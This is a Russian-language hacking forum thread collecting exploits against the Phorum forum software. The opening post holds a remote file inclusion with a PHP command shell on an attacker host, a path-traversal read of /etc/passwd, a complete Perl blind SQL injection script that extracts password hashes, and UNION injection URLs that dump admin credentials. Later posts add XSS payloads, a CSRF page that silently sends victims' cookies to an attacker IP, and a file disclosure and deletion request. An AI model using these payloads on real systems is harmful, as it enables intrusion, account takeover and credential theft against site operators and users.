Форумы [Обзор уязвимостей Phorum]

Discussion in 'Уязвимости CMS/форумов' started by _-[A.M.D]HiM@S-_, 14 Nov 2006.

  1. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    Привет ....Публикую Обзорчик .....Просто хочю что-бы в этом раздели были все форумы....Постеппенно зделаем...
    Phorum 3.3.2a
    Обзор:Недостаток защиты в программе позволяет удаленным пользователям включать внешние php сценарии и выполнять произвольный код и команды
    Пример:Создаем файл replace.php на сайте evilhost
    PHP:
    <?
    system("$cmd");
    ?>
    Code:
    http://[target]/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=http://[evilhost]&cmd=ls
    PHORUM 3.2.11
    Обзор:$f - идентификатор форума, переменная устанавливается в строке запроса. $admindir/forums/$num.php - это как раз ссылка на файл конфигурации для каждого форума; в этом файле и устанавливается переменная $ForumTableName. Так что, если просто указать ForumTableName в запросе, ее значение будет изменено. А что произойдет, если файла $admindir/forums/$num.php нет ? Будет выдан заголовок "lоcation: ...", и ... выполнение скрипта продолжится! А $ForumTableName сохранит свое значение, заданое в строке запроса.
    Пример:
    Code:
    http://somesite.ru/phorum/download.php?f=999&ForumTableName=etc&file=passwd
    Phorum 3.4.7
    Описание:SQL инъекция обнаружена в 'include/userlogin.php' сценарии в 'phorum_uriauth' переменной
    Пример:
    Code:
    http://localhost/phorum347/list.php?f=1&phoru m_uriauth=waraxe%2527%20AND%20mid(password,2,1)=3/*:foobar
    Эксплоит:
    PHP:
    ###################################################################################
    # Sql injection exploit for Phorum 3.4.7                                                            #
    #                                                                                                   #
    # For details look at http://www.waraxe.us/index.php?modname=sa&id=19                               #
    #                                                                                                   #
    #                                                                                                   #
    ####################################################################################

    $remote 'localhost';  # hostname of the target
    $port 80;             # port number, usually 80
    $url '/phorum347';    # path to Phorum, without ending "/"
    $username 'test';     # username, who's info we will pull out

    #-----------------------------------------------------------------------------------


    use IO::Socket;
    @
    chars = ('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
    $data '';
    $md5hash '';
    $url .= '/list.php?f=1';

    for(
    $nr=1;$nr<33;$nr++)
    {
        for(
    $cnt=0;$cnt<16;$cnt++)
        {
            
    $charx = @chars[$cnt];
            
    $uriauth "$username%2527%20AND%20MID(password," $nr ',1)=%2527' $charx .'%2527/*';
            
    $cookie "phorum_uriauth=$uriauth";
            
            
    $data MakeGetRequest($remote$url ,$cookie);
            
    $match isMatch($data);

            
    $logline "pos --> " $nr " ,char for test --> " $charx "  --> " $match;
            print 
    $logline "\n";

            if(
    $match == 1)
            {
                
    $md5hash .= @chars[$cnt];
                
    $logline "current md5hash --> " $md5hash;
                print 
    $logline "\n";
                break;
            }
        }
    }

    $logline "Final md5hash --> " $md5hash;
    print 
    $logline "\n";
    exit();




    sub MakeGetRequest()
    {
        
    $socket IO::Socket::INET->new(PeerAddr => $remote,
                    
    PeerPort => $port,
                    
    Proto => "tcp",
                    
    Type => SOCK_STREAM)
                    or die 
    "Couldnt connect to $remote:$port : $@\n";
        
    $str "GET " $url " HTTP/1.0\r\n";
        print 
    $socket $str;
        print 
    $socket "Cookie: $cookie\r\n";
        print 
    $socket "Host: $remote\r\n\r\n";

        
    $buff "";
        while (
    $answer = <$socket>)
            {
                    
    $buff .= $answer;
             }
        
    close($socket);
        return 
    $buff;
    }


    sub isMatch($data)
    {
        
    $idx1 index($data,"<a href=\"login.php?logout=1");
        
        if(
    $idx1 > -1)
        {
            
    $bingo 1;
        }
        else
        {
            
    $bingo 0;
        }
        
        return 
    $bingo;
    }
    Phorum 4.3.7
    Описание:Уязвимость обнаружена в Phorum. Удаленный пользователь может получить доступ к сессии других пользователей.
    Пример:
    Code:
    http://site.com/phorum/profile.php?f=1&id=2&phorum_uriauth=testuser%3Aeb5cd67f6daf1f35d45a24a36355f4b1
    m-phorum 0.2
    Описание:
    1. Уязвимость существует из-за недостаточной обработки входных данных в параметре "go" в сценарии "index.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

    2. Уязвимость существует из-за недостаточной обработки входных данных в параметре "go" сценария "index.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
    Пример:
    Code:
    http://victim/path/index.php?go="><script>alert(document.cookie)</script>
    Code:
    http://victim/path/index.php?go="><script>alert(/Codexploder'tq/)</script>
    Code:
    http://victim/path/index.php?go="><script>alert(document.domain)</script>
    Phorum 5.x
    Описание:Приложение некорректно фильтрует входные данные перед выполнением SQL запроса. Как следствие, удаленный атакующий может выполнить произвольный SQL код на уязвимой системе.
    Пример:
    Code:
    http://site.com/phorum//read.php?1,[SQL CODE HERE],newer
    Phorum 5.0.х - 5.0.12
    Обзор:переменна "$message_id" не фильтруется.
    Пример:
    Code:
    http://localhost/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2c1%2c1%2cCONCAT(username%2c%27%27%2cpassword)%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20phorum_users%20WHERE%20admin=1
    Phorum 5.0.12
    Описание:Уязвимость существует из-за некорректной фильтрации данных в параметре forum_id файла 'follow.php'. Удаленный атакующий может с помощью специально сформированного URL выполнить произвольный SQL код на целевом сервере.
    Пример:
    Code:
    http://[target]/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2 c1%2c1%2cCONCAT(username%2c%27|%27%2cpassword)%2c1%2c1%2c1%2c1%2c1%2c1%2c1%21%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20phorumusers%20WHERE%20admin=1
    Phorum 5.0.14a
    Пример:Удаленный пользователь может выполнить атаки типа "HTTP Response Splitting".
    Code:
    http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a<html>Scanned by PTsecurity</html>%0d%0a&author=1&subject=1&match_forum=ALL&match_type=ALL&match_dates=30
    Phorum 5.0.0 – 5.0.20
    Описание:Уязвимость существует из-за недостаточной обработки входных данных в параметре “forum_ids[]” сценария “search.php”. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
    Пример:
    Code:
    http://localhost/phorum520/search.php?1,search=a,page=1,match_type=ALL,match_dates=30,match_forum=ALL,body=1,author=1,subject=1,&forum_ids[]=-99)/**/UNION/**/ALL/**/SELECT/**/1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,21,32/**/FROM/**/phorum_users/**/WHERE/**/admin=1/**/LIMIT/**/1/*
    Phorum 5.1.14
    Описание:Уязвимость существует из-за недостаточной обработки входных данных в параметре "template". Удаленный пользователь может с помощью специально сформированного URL просмотреть произвольные файлы на системе. Для удачной эксплуатации уязвимости опция "register_globals" должна быть включена, опция "magic_quotes_gpc" – отключена.
    Пример:
    Code:
    http://[host]/pm.php?1,page=1&template=[file]%00
    Спасибо за внимание.
     
    12 people like this.
  2. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,036
    Reputations:
    1,065
    phorum/docs/upgrade.txt
    phorum/docs/NEWS
     
    _________________________
    #2 ettee, 20 Nov 2006
    Last edited: 4 Jan 2008
    2 people like this.
  3. IgrVa

    IgrVa New Member

    Joined:
    16 Jul 2006
    Messages:
    1
    Likes Received:
    2
    Reputations:
    0
    Можно и так
    phorum/admin.php
     
    2 people like this.
  4. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    *************Внимание - Внимание*****************
    Уважаемые пользователи, стыд да срам. Впредь флуд в этой теме, а также в подобных темах, будет строго наказываться. Это первое и последнее предупреждение.
    *************Внимание - Внимание*****************

    *************Attention - Attention*****************
    Dear users, shame on you. Flood in this and similar themes will be strictly punished from now. It is last warning
    *************Attention - Attention*****************
     
    #4 _-[A.M.D]HiM@S-_, 22 Jan 2007
    Last edited by a moderator: 2 Mar 2007
    1 person likes this.
  5. _GaLs_

    _GaLs_ Elder - Старейшина

    Joined:
    21 Apr 2006
    Messages:
    431
    Likes Received:
    252
    Reputations:
    48
    Phorum 5.1.20

    Обнаруженные уязвимости позволяют удаленному пользователю произвести XSS нападение и выполнить произвольные SQL команды в базе данных приложения.
    1. Уязвимость существует из-за недостаточной обработки входных данных в параметре "recipients" сценария pm.php. Удаленный авторизованный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
    2. Уязвимость существует из-за недостаточной обработки входных данных в параметре "group_id" сценария admin.php при редактировании групп и в параметре "smiley_id" в сценарии admin.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
    3. Уязвимость существует из-за недостаточной проверки входных данных в параметре "$_POST[user_ids]" в массиве "$userdata" в сценарии include/controlcenter/users.php. Удаленный пользователь может с помощью специально сформированного POST запроса получить административные привилегии в приложении. Для успешной эксплуатации уязвимости опция "register_globals" должна быть включена в конфигурационном файле PHP.
    4. Уязвимость существует из-за того, что приложение позволяет администратору произвести некоторые действия через HTTP запрос без дополнительной проверки подлинности пользователя. Злоумышленник может обманом заставить администратора приложения нажать на специально сформированную ссылку и изменить некоторые настройки.
     
    3 people like this.
  6. _GaLs_

    _GaLs_ Elder - Старейшина

    Joined:
    21 Apr 2006
    Messages:
    431
    Likes Received:
    252
    Reputations:
    48
    Phorum 5.1.13
    Описание:Уязвимость позволяет удаленному пользователю произвести XSS нападение.

    Уязвимость существует из-за недостаточной обработки входных данных в URL. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта. Пример:

    Code:
    http://[host]/read.php?1,1[code]
    Phorum 5.0.7.beta
    Описание: Уязвимость в поисковом движке Phorum позволяет удаленному пользователю выполнить XSS нападение.

    Code:
    http://phorum.org/phorum5/search.php?12,search=vamp,page=1,match_type=ALL,
    match_dates=00,match_forum=ALL ,body=,author=,subject= [ Evil Code Here ]
    Phorum 5.0.3 Beta
    Описание: Несколько уязвимостей обнаружено в Phorum в 'register.php', 'login.php', и 'profile.php' сценариях. Удаленный пользователь может выполнить XSS нападение.

    Code:
    login.php?HTTP_REFERER=[XSS]
    register.php?&HTTP_REFERER=[XSS]
    profil e.php?id=2&action=edit&target=[XSS]
     
    1 person likes this.
  7. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    активная xss

    Phorum version 5.1.22 (последняя на данный момент)
    Активнаяя Xss
    в профиле жмём
    Edit Signature
    там пишем:
    "><script>alert(99)</script> (ну или ваш xss скрипт)
    теперь когда вы будете просматривать своё профиль у вас будет вылетать алерт...
     
    #7 BlackCats, 7 Jul 2007
    Last edited: 7 Jul 2007
    2 people like this.
  8. foopi

    foopi Member

    Joined:
    26 Oct 2008
    Messages:
    41
    Likes Received:
    20
    Reputations:
    5
    Небольшая бага

    Code:
    http://site/phorum/register.php
    Здесь для защиты от спама стоит капча.
    туда можно ввести тока 5 символов (в зависимости от длины капчи).
    вводим туда такой текст:
    Code:
    ">lol
    Далее жмём на ОК. там около поля появляется такое:
    Code:
    lol" size="6" maxlength="5" />
    теперь максимальная длина неограничена и можно туда ввести всё что угодно.например
    Code:
    "><script>alert()<script>

    Эту же уязвимость можно также провернуть в
    Code:
    /phorum/posting.php?1
     
    #8 foopi, 19 Dec 2008
    Last edited: 7 Jan 2009
  9. [underwater]

    [underwater] Member

    Joined:
    29 Mar 2009
    Messages:
    78
    Likes Received:
    92
    Reputations:
    27
    XSS (все версии)

    Code:
    } elseif(isset($_POST["panel"])){
        $panel = $_POST["panel"];
    Видно, что фильтрации на символы нету,и что можно использовать <, >, запятую, которые могут быть преобразованы в HTML. Можно воспользоватся этим:
    Code:
    <form method="post" action="http://web/path/control.php">
    <input type="text" name="panel" value="Тут XSS" />
    <input type="submit" value=" Submit "/>
    </form>
    Отправляем нечто вроде: "><h1>проверка" и видим что переменная $panel инфицировалась.
    Code:
    $PHORUM['DATA']['POST_VARS'].="<input type=\"hidden\" name=\"panel\" value=\"{$panel}\" />\n";

    CSRF Уязвимость


    Создаем файл, в котором будет :
    Index.html
    Code:
    <object width="425" height="344">
    <param name="movie" value="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1">
    </param>
    <param name="allowFullScreen" value="true">
    </param>
    <param name="allowscriptaccess" value="always">
    </param>
    <embed src="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344">
    </embed>
    </object>
    <br><br><br><br><br><br><br><br>
    <br><br><br><br><br><br><br><br>
    <br><br><br><br><br><br><br><br>
    <br><br>
    <iframe src="test.html" width="1" height="1" frameborder="0"></iframe>
    test.html
    Code:
    <form method="post" action="http://forum.ru/control.php">
    <input type="hidden" value='">
    <script>document.location="http://mi_ip/metopo.json?req=" + document.cookie;</script>
    <br x="' name="panel"/>
    <input type="submit" value=" Submit "/>
    </form>
    <script>document.getElementsByTagName("form")[0].submit();</script>
     
    #9 [underwater], 17 Apr 2009
    Last edited: 18 Apr 2009
  10. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    Phorum 5.2.15a File Disclosure + File Deletion Vulnerability

    Phorum version 5.2.15a

    File Disclosure + File Deletion

    Vuln file: /mods/spamhurdles/captcha/spoken_captcha.php
    PHP:
    /*...*/
        
    global $PHORUM;
        
    $conf $PHORUM["mod_spamhurdles"];

        if (
    $conf["spoken_captcha"] && file_exists($conf["flite_location"]) &&
            isset(
    $PHORUM["SPAMHURDLES"]["captcha"]["spoken_text"]))
        {
    /*...*/
            
    $tmpfile "{$PHORUM["cache"]}/spokencaptcha_{$key}.wav";
    /*...*/
            
    if (file_exists($tmpfile) and filesize($tmpfile) > 0) {
                
    header("Content-Type: audio/x-wav");
                
    header("Content-Disposition: attachment; filename=captchacode.wav");
                
    header("Content-Length: " filesize($tmpfile)); 
                
    readfile($tmpfile);
                
    unlink($tmpfile);
                exit(
    0);
    /*...*/
    Need: magic_quotes = Off && register_globals = On
    Exploit:
    Code:
    POST http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/mods/spamhurdles/captcha/spoken_captcha.php HTTP/1.0
    Content-type: application/x-www-form-urlencoded
    
    PHORUM[mod_spamhurdles][spoken_captcha]=1&PHORUM[mod_spamhurdles][flite_location]=spoken_captcha.php&PHORUM[SPAMHURDLES][captcha][spoken_text]=1&PHORUM[cache]=[COLOR=White]../../../scripts/.htaccess%00[/COLOR]
     
    1 person likes this.